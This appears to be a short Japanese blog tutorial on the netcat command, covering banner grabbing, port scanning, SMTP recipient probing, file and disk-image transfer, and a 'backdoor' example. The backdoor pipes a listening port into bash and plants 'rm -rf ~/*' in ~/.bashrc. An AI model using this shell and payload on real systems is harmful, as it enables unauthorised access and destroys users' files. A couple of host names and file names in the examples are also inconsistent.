ncコマンド

/ Linux/Unix / Comment[0]
nc(ネットキャット)
tcpまたはudpにてネットワーク通信を行うためのユーティリティ

使い方

バナーを表示
$ nc ftp.microsoft.com 21
220 Microsoft FTP Service
^C

簡易ポートスキャン
$ nc -v localhost 1-1024
:
nc: connect to localhost port 110 (tcp) failed: Connection refused
nc: connect to localhost port 111 (tcp) failed: Connection refused
Connection to localhost 111 port [tcp/sunrpc] succeeded!
:

サーバとおしゃべり
$ nc 192.168.1.9 25
220 Phantom2-server ESMTP Sendmail 8.14.3/8.14.3/Debian-9.1ubuntu1; Sun, 6 Feb 2011 12:04:26 +0900; (No UCE/UBE) logging access from: Phantom0.local(OK)-Phantom0.local [192.168.1.2]
helo world
250 Phantom2-server Hello Phantom0.local [192.168.1.2], pleased to meet you
mail from:hogehoge@hogehoge.com
250 2.1.0 hogehoge@hogehoge.com... Sender ok
rcpt to:server
250 2.1.5 server... Recipient ok
rcpt to:system
250 2.1.5 system... Recipient ok
rcpt to:hoge
550 5.1.1 hoge... User unknown
rcpt to:tntnblahblah
550 5.1.1 tntnblahblah... User unknown
rcpt to:root
250 2.1.5 root... Recipient ok
data
354 Enter mail, end with "." on a line by itself
かくかくしかじかほげほげ
.

250 2.0.0 p1634Q8m001712 Message accepted for delivery
quit
221 2.0.0 Phantom2-server closing connection


データ転送の色々

ポート4444をリッスン
PC2$ nc -l 4444

PC2の4444ポートへ接続,文字を送る
PC1$ nc PC1.local 4444
hogehoge
PC2の端末にも「hogehoge」と表示される

ファイルを転送
PC2$ nc -l 4444 > file
PC1$ nc PC2.local 4444 < file

圧縮,展開しながらファイル転送
PC2$ nc -l 4444 | gzip -dc > file
PC1$ gzip -c file | nc PC2.local 4444

圧縮,展開しながらHDDイメージを送る
PC2$ nc -l 4444 | gzip -dc > sda1.img.gz
PC1# dd if=/dev/sda1 | gzip -c | nc PC2.local 4444

バックドア
PC2$ nc -l 4444 | /bin/bash
PC1$ nc PC2.local 4444
echo "rm -rf ~/*" >> ~/.bashrc
関連記事

コメント

:
:
:
:
:
管理人のみ表示を許可